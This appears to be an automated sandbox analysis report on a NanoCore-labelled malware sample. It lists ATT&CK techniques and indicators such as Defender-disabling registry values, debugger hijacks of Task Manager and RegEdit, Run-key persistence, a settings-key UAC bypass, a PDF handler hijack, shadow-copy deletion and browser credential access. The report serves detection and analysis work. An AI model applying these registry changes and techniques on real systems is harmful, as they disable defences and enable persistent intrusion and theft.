nanocore | 426bea68b108c7aedd3a7325b675fda6b207f0d83d0dc5679a18b319db1dd2a5

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	sutbongtvb.io_chrome.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1592	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	sutbongtvb.io_chrome.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	sutbongtvb.io_chrome.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	sutbongtvb.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvb.io_chrome.exe"	sutbongtvb.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	sutbongtvb.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvb.io_chrome.exe"	sutbongtvb.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	sutbongtvb.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvb.io_chrome.exe"	sutbongtvb.io_chrome.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
1496	netsh.exe

Creates a file in the Startup directory 1 TTPs 64 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_153.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_157.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_146.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf	sutbongtvb.io_chrome.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf	sutbongtvb.io_chrome.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf	sutbongtvb.io_chrome.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvb.io_chrome.exe"	sutbongtvb.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvb.io_chrome.exe"	sutbongtvb.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvb.io_chrome.exe"	sutbongtvb.io_chrome.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
1912	tasklist.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\svchost.exe	sutbongtvb.io_chrome.exe
File created	C:\Windows\system32\sysupdate.exe	sutbongtvb.io_chrome.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	sutbongtvb.io_chrome.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
1276	wscript.exe
3840	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	sutbongtvb.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	sutbongtvb.io_chrome.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3448	sc.exe
3096	sc.exe
4720	sc.exe
3780	sc.exe
3136	sc.exe
616	sc.exe
3676	sc.exe
5988	sc.exe
3396	sc.exe
3368	sc.exe
5752	sc.exe
2280	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5928	cmd.exe
1132	cmd.exe
2700	cmd.exe
1152	cmd.exe
5340	cmd.exe
352	cmd.exe
4700	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1492	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
6036	ipconfig.exe
5844	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
4968	systeminfo.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5720	vssadmin.exe
5404	vssadmin.exe
5888	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Control Panel\Desktop\WallpaperStyle = "2"	sutbongtvb.io_chrome.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134310947912635418"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe

Modifies registry class 16 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open\command	sutbongtvb.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvb.io_chrome.exe"	sutbongtvb.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	sutbongtvb.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	sutbongtvb.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell	sutbongtvb.io_chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open\command\DelegateExecute	sutbongtvb.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open\command	sutbongtvb.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell	sutbongtvb.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings	sutbongtvb.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	sutbongtvb.io_chrome.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\sutbongtvb.io_chrome.exe\" \"%1\""	sutbongtvb.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open	sutbongtvb.io_chrome.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings\shell\open	sutbongtvb.io_chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000_Classes\ms-settings	sutbongtvb.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	sutbongtvb.io_chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	sutbongtvb.io_chrome.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1088	schtasks.exe
1272	schtasks.exe
296	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3740	chrome.exe
3740	chrome.exe
1592	powershell.exe
1592	powershell.exe
1592	powershell.exe
4616	WMIC.exe
4616	WMIC.exe
4616	WMIC.exe
4616	WMIC.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
5548	WMIC.exe
5548	WMIC.exe
5548	WMIC.exe
5548	WMIC.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
3368	WMIC.exe
3368	WMIC.exe
3368	WMIC.exe
3368	WMIC.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe
1608	sutbongtvb.io_chrome.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1608	sutbongtvb.io_chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeDebugPrivilege	1592	powershell.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeIncreaseQuotaPrivilege	4616	WMIC.exe
Token: SeSecurityPrivilege	4616	WMIC.exe
Token: SeTakeOwnershipPrivilege	4616	WMIC.exe
Token: SeLoadDriverPrivilege	4616	WMIC.exe
Token: SeSystemProfilePrivilege	4616	WMIC.exe
Token: SeSystemtimePrivilege	4616	WMIC.exe
Token: SeProfSingleProcessPrivilege	4616	WMIC.exe
Token: SeIncBasePriorityPrivilege	4616	WMIC.exe
Token: SeCreatePagefilePrivilege	4616	WMIC.exe
Token: SeBackupPrivilege	4616	WMIC.exe
Token: SeRestorePrivilege	4616	WMIC.exe
Token: SeShutdownPrivilege	4616	WMIC.exe
Token: SeDebugPrivilege	4616	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4616	WMIC.exe
Token: SeRemoteShutdownPrivilege	4616	WMIC.exe
Token: SeUndockPrivilege	4616	WMIC.exe
Token: SeManageVolumePrivilege	4616	WMIC.exe
Token: 33	4616	WMIC.exe
Token: 34	4616	WMIC.exe
Token: 35	4616	WMIC.exe
Token: 36	4616	WMIC.exe
Token: SeBackupPrivilege	2932	vssvc.exe
Token: SeRestorePrivilege	2932	vssvc.exe
Token: SeAuditPrivilege	2932	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4616	WMIC.exe
Token: SeSecurityPrivilege	4616	WMIC.exe
Token: SeTakeOwnershipPrivilege	4616	WMIC.exe
Token: SeLoadDriverPrivilege	4616	WMIC.exe
Token: SeSystemProfilePrivilege	4616	WMIC.exe
Token: SeSystemtimePrivilege	4616	WMIC.exe
Token: SeProfSingleProcessPrivilege	4616	WMIC.exe
Token: SeIncBasePriorityPrivilege	4616	WMIC.exe
Token: SeCreatePagefilePrivilege	4616	WMIC.exe
Token: SeBackupPrivilege	4616	WMIC.exe
Token: SeRestorePrivilege	4616	WMIC.exe
Token: SeShutdownPrivilege	4616	WMIC.exe
Token: SeDebugPrivilege	4616	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4616	WMIC.exe
Token: SeRemoteShutdownPrivilege	4616	WMIC.exe
Token: SeUndockPrivilege	4616	WMIC.exe
Token: SeManageVolumePrivilege	4616	WMIC.exe
Token: 33	4616	WMIC.exe
Token: 34	4616	WMIC.exe
Token: 35	4616	WMIC.exe
Token: 36	4616	WMIC.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe
Token: SeShutdownPrivilege	3740	chrome.exe
Token: SeCreatePagefilePrivilege	3740	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe
3740	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1608	sutbongtvb.io_chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1608 wrote to memory of 3740	1608	sutbongtvb.io_chrome.exe	89
PID 3740 wrote to memory of 2524	3740	chrome.exe	90
PID 1608 wrote to memory of 1592	1608	sutbongtvb.io_chrome.exe	91
PID 1608 wrote to memory of 3448	1608	sutbongtvb.io_chrome.exe	93
PID 3740 wrote to memory of 2480	3740	chrome.exe	95
PID 3740 wrote to memory of 2480	3740	chrome.exe	95
PID 3740 wrote to memory of 1492	3740	chrome.exe	96
PID 3740 wrote to memory of 908	3740	chrome.exe	97
PID 3740 wrote to memory of 908	3740	chrome.exe	97
PID 1608 wrote to memory of 4720	1608	sutbongtvb.io_chrome.exe	98
PID 3740 wrote to memory of 2104	3740	chrome.exe	99
PID 3740 wrote to memory of 2104	3740	chrome.exe	99
PID 3740 wrote to memory of 1228	3740	chrome.exe	100
PID 3740 wrote to memory of 1228	3740	chrome.exe	100
PID 1608 wrote to memory of 3096	1608	sutbongtvb.io_chrome.exe	103
PID 1608 wrote to memory of 3780	1608	sutbongtvb.io_chrome.exe	105
